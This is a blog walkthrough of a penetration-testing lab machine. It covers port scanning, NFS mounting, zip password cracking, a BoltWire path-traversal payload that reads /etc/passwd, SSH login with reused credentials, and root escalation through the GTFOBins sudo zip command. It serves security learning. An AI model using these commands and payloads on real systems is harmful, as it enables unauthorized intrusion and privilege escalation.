EXPLOITING DEV MACHINE
Published: 2024-06-16 12:36:12

This walkthrough will showcase a creative approach to gaining root access on a machine. We'll utilize an unexpected vulnerability within the zip command to escalate privileges.

After successfully setting up your dev machine, use the following details to login to the machine.

**Username: root
Password: tcm**


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2xcl7gwlnqb66zsp4iuu.png)

Now we need to get the IP address of the academy machine, to get that input the command:

```
dhclient

```

after that input the command:
```
ip a
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t3hh0bg6k31qwsuzrymz.png)

From the above image, my IP address for academy is **192.168.59.135**

Now we can ping the machine to confirm that both machines are alive and communicating.

For that we use the command:
```
ping 192.168.59.135 -c3

```
NB- your IP address would be different from mine so make sure to note your IP address and ping it.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/furldodi69maqqsjc9j5.png)

The image above shows both machines can communicate as no packets were lost.

Next we run NMAP scan to search for open ports using the command:

```
nmap -p- -A 192.168.59.135

```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8tsno2qwx6qwugj7x0lu.png)

From the above scan a total of 9 ports are open, but for this lab our main targets are port 80,2049 and 8080

One of the first thing we need to do after running our scan is to visit the web page for the IP address.
NB- From our scan we have two http ports open (80 and 8080) i.e we will be visiting two web pages and the two web pages are:

```
192.168.59.135

and

192.168.59.135:8080

```

NB- Inputting 192.168.59.135:80 would give you the same result as 192.168.59.135

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/30jwcszv083e3dkoxu5h.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p8sl6f6w1u68jzbcq2tp.png)

After much scanning of the webpages we didn't really find anything there so next we need to search if we can find some hidden web directories using **ffuf. **

To do that we open two new tabs and use the command below to search on both ports webpages:

For port 80:

```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135/FUZZ

```

For port 8080:

```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135:8080/FUZZ

```

While the ffuf scan is running, we can open up a new tab and work on port 2049 which is open.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/liib4nsxivu2dasiitgi.png)

Now the NFS indicated in port 2049 means network file share, so we are curious if anything is on the file share, so we need to check and to check we use the command:

```
showmount -e 192.168.59.135 

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i8269q0v791x135tlnqg.png)

From our search it seems there's a directory called /srv/nfs which might contain a file.

For us to be able to get the files in that directory we need to create a directory in which we would like to save the file and then we then we **mount** the file.

To create a directory, input the command:
```
mkdir /mnt/dev 

```

To mount the file, input the command:

```
mount -t nfs 192.168.59.135:/srv/nfs /mnt/dev

```

Now we need to enter the /mnt/dev directory using the command:

```
cd /mnt/dev

```
and input the command:

```
ls
```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/odbv8evmfzi11yxb7od8.png)

You should find only the save.zip file on yours, mine is showing 3 files because I have already unzipped the file.

To unzip the file, we input the command:

```
unzip save.zip

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kh0ao103ck9sb17u19jg.png)

It is requesting for a password which we currently do not have.
There's a tool that we can use to try and see if we would be able to crack the password of the zip file, the tool is called **fcrack**

To install the tool on your kali, input the command:

```
apt install fcrackzip

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c29ezm5bntnysi7cq4g1.png)

I already have it installed but you might not, so after successful installation input the command:

```
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip

```
NB- **-v** means verbose because we want to see all the outputs
    **-u** means we want to unzip the file
     **-D** means we want to use a dictionary attack
     **-p**  is for the file we want to crack which is the save.zip


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/00fhkjp44g4wxwy439m1.png)

After running the command we can see we found a password which is **java101**

Now we need to unzip using the password.

Input the command:

```
unzip save.zip

```

input **java101** for the password

Your file would have successfully unzipped and when you input the command **ls ** you should have 3 files as seen below.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fydx2wwaijzrq8hh254g.png)

There's a txt file and an id_rsa file, first we need to check for what is inside the txt file.
To do that we input the command:
```
cat todo.txt

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0yp8r4h57wq9lnnx09mq.png)

We got a message from **jp**
We don't know who jp is but we suspect him to be a user and we also have an id_rsa file which requires a user's details so we can SSH into it.

So we try the command:

```
ssh -i id_rsa jp@192.168.182.128

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fcnkimqdjmmypvikgvnp.png)

NB- If it asks you for a fingerprint input **yes**

For the password we do not know what his password is, so now we are back to square one sadly.

For now... let's move back and check our web directory search of ffuf.

So for port 80:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/glsb33v6jxcnbvxmefr0.png)

The lines without the # and with a status of 301 were the successful found directory.

So for port 80 six web directories were found, which are:
-public 
-src
-app
-vendor
-extensions
-server-status 

and for port 8080:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/55uffohppms07klm899l.png)

Two were found which are:
-dev
-server-status

So to check for the web directory for 8080 we go to our web browser and input:

```
http://192.168.182.128:8080/dev

```
NB- you might have noticed that my machine IP address might have changed, that's because I switched PC, so feel free to follow along unconfused.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wsc74eosjzncb0vsnhdp.png)

So we are taken to a boltwire page, I can see a register sign on the web page so I ended up registering with the username and password of **hacker** 
So feel free to register and use any detail of your choice.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6lylxlhens5w3cb34yli.png)

Now I move to the port 80 web directory and input the details found from ffuf.
After much enumeration, the web directory that stood out for me was the:

```
http://192.168.182.128/app

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q8unc8vkyxawjaopexm7.png)

Click on the **config/** directory found on the web page 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i7x7gupt9887sfmniebm.png)

Now click on the **config.yml** file to download the file

After downloading the file, open the file


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vbsaxwwtp9dvfuf22tkc.png)

We found a username of bolt and password **I_love_java**

So I tried SSH using the username and password and it was still unsuccessful

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ooqqc1kdykldixheurb.png)

So next I went back to the bolt website which I registered as hacker 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9f0wbgc2kxzm2s5e7uom.png)


and went to google to search for boltwire exploit.

Found the one below and clicked on the webpage

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bkd3rl6kg0phvwhj1n7g.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f6li1oa1mnm5dfabmsw1.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5s642t2g13k82f2jasn6.png)

To use this exploit we need to be authenticated, which we are because we already created an account with details of the hacker.

So the next step is to copy the input
```
index.php?p=action.search&action=../../../../../../../etc/passwd

```
and input it into our registered boltwire hacker website.

Our website looked like this 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h1c176fh5pnfqshnexg0.png)
 
So after copying the details from the exploit page we input it to make it look like this:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/crg146qa01wka7fapzul.png)

So input the command on your webpage:
```
http://192.168.182.128:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd
```
NB- remember to change the IP address to your machine's IP address.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/984ybibn6pk9af9lfm1k.png)

Registered users of the machine was displayed and the one which stood out for us was JP


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/urpdutk1iw546uqnibvz.png)

So jp is registered as jeanpaul.

So now we ssh into the id_rsa file using the command:

```
ssh -i id_rsa jeanpaul@192.168.182.128

```

and for the password I tried using the **I_love_java** as the password                 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t9pfcl0w5c72h9t2kuih.png)

IT WAS SUCCESSFUL.

So now I input the command:

```
sudo -l
```

So as to find out what sudo privilege we have


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/msgtsa3ny12nvgkklpyp.png)

And luckily we found out that we can use the command **zip** as a super user without having to provide a password for it.

The next step now is to find out how we can use the zip command we are given to elevate our privilege and become the root user.

For that we search google and search for **gtfobins**


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t2sf8jkj2hx50ymgppcn.png)

Click on the webpage found above

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/do0xc1u3syj7qiiy1xrs.png)

Click on sudo from the web page

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7awcp8t5d6iezsi4xtoe.png)

Scroll down, find zip and click on sudo

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zhzvuifm4hcq833ttno8.png)

It will take you to the page as seen below

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uppl18wst6slka3wfj2v.png)

copy the following commands and input in the terminal logged in as jeanpaul

```
TF=$(mktemp -u)
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o018bwtikze1fl6hjd1s.png)

Now input the command:

```

sudo zip $TF /etc/hosts -T -TT 'sh #'

```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/26uywc0l3u97kegpk5n7.png)

We have successfully popped a shell.

Now input the command:

```
whoami
```
To find out which shell we popped


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cspd1ywkoeqejjciza3y.png)

We have successfully become the root user.

Machine successfully exploited!

In conclusion, this walkthrough has demonstrated the potential danger of seemingly insignificant privileges. By exploiting an overpowered zip command, we were able to escalate access from a low-level user to a super user, highlighting the importance of thorough security assessments and the ever-present risk associated with privilege creep.